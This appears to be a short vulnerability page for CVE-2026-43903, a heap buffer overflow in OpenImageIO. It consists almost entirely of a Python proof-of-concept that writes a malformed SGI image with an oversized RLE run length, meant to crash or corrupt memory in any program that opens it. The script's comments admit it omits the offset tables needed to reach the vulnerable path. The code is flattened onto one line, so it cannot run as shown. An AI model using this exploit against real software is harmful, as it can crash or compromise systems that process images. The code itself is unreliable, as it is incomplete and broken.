CVE-2026-43903 OpenImageIO堆缓冲区溢出漏洞

import struct # PoC for CVE-2026-43903 # Generates a malicious .sgi file to trigger the heap buffer overflow def generate_malicious_sgi(filename): width = 100 height = 100 channels = 3 with open(filename, "wb") as f: # SGI Magic Number (474) f.write(struct.pack(">H", 474)) # Compression: 1 (RLE) f.write(struct.pack(">B", 1)) # BPC: 1 (byte per channel) f.write(struct.pack(">B", 1)) # Dimensions: 3 (x, y, z) f.write(struct.pack(">H", 3)) # Width: 100 f.write(struct.pack(">H", width)) # Height: 100 f.write(struct.pack(">H", height)) # Channels: 3 f.write(struct.pack(">H", channels)) # Padding (Image name is empty, 80 bytes + 404 bytes filler) f.write(b"\x00" * 80) f.write(b"\x00" * 404) # Write Start Tables (simplified for PoC, normally calculated based on data) # We skip writing accurate tables to focus on the RLE data trigger # In a real exploit, offsets must be valid to reach the vulnerable code path # Malicious RLE Data # The vulnerability occurs when RLE count > scanline width # Format: [length, value] malicious_length = width + 50 # Exceeds scanline width value = 0x41 # Write a scanline with excessive length # Note: This is a simplified representation. Actual SGI RLE format # organizes data by channel/row, but the core trigger is the large length value. payload = struct.pack(">B", malicious_length) + struct.pack(">B", value) # Append payload to file # In a realistic scenario, the parser must reach this data stream. f.write(payload * 10) # Repeat to ensure overflow occurs print(f"[+] Malicious SGI file generated: {filename}") print(f"[+] Open this file with a vulnerable OpenImageIO version to trigger the crash.") if __name__ == "__main__": generate_malicious_sgi("crash_exploit.sgi")